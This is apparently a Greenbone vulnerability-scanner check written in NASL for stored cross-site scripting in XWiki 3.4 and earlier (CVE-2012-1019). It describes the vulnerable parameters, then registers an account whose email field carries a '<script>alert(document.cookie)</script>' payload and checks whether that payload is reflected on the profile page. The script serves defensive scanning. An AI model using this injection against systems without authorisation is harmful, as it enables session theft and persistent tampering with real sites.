XWiki <= 3.4 Multiple Stored XSS Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:xwiki:xwiki";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802397");
  script_version("2025-11-19T05:40:23+0000");
  script_cve_id("CVE-2012-1019");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2025-11-19 05:40:23 +0000 (Wed, 19 Nov 2025)");
  script_tag(name:"creation_date", value:"2012-03-09 11:12:00 +0530 (Fri, 09 Mar 2012)");
  script_name("XWiki <= 3.4 Multiple Stored XSS Vulnerabilities - Active Check");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_category(ACT_DESTRUCTIVE_ATTACK); # nb: Stored XSS
  script_family("Web application abuses");
  script_dependencies("gb_xwiki_http_detect.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("xwiki/http/detected");

  script_xref(name:"URL", value:"https://st2tea.blogspot.com/2012/02/xwiki-cross-site-scripting.html");
  script_xref(name:"URL", value:"https://exchange.xforce.ibmcloud.com/vulnerabilities/73010");
  script_xref(name:"URL", value:"https://packetstorm.news/files/id/109447");
  script_xref(name:"URL", value:"https://web.archive.org/web/20140804192224/http://secunia.com/advisories/47885");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210124053529/http://www.securityfocus.com/bid/51867");

  script_tag(name:"summary", value:"XWiki is prone to multiple stored cross-site scripting (XSS)
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"insight", value:"The flaws are due to an improper validation of user-supplied
  input via:

  - the 'XWiki.XWikiComments_comment' parameter to 'xwiki/bin/commentadd/Main/WebHome' when posting
  a comment

  - the 'XWiki.XWikiUsers_0_company' parameter when editing a user's profile

  - the 'projectVersion' parameter to 'xwiki/bin/view/DownloadCode/DownloadFeedback' when
  downloading a file");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert
  arbitrary HTML and script code, which will be executed in a user's browser session in the context
  of an affected site.");

  script_tag(name:"affected", value:"XWiki version 3.4 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

useragent = http_get_user_agent();
host = http_host_name(port:port);

url = dir + "/bin/register/XWiki/Register";

req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req);

tokenValue = eregmatch(pattern:'name="form_token" value="([a-zA-Z0-9]+)"', string:res);
if(!tokenValue || !tokenValue[1])
  exit(0);

postdata = "form_token=" + tokenValue[1] + "&register_first_name=ppp&" +
           "register_last_name=ppp&xwikiname=PppPpp&register_password=example&" +
           "register2_password=example&register_email=<script>alert(document." +
           "cookie)</script>@example.com&template=XWiki.XWikiUserTemplate&" +
           "xredirect=";

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Referer: http://", host, url, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(postdata), "\r\n",
             "\r\n", postdata);

res = http_keepalive_send_recv(port:port, data:req);

if(res) {
  url = dir + "/bin/view/XWiki/PppPpp";

  if(http_vuln_check(port:port, url:url, check_header: TRUE,
     pattern:"<script>alert\(document\.cookie\)</script>")) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);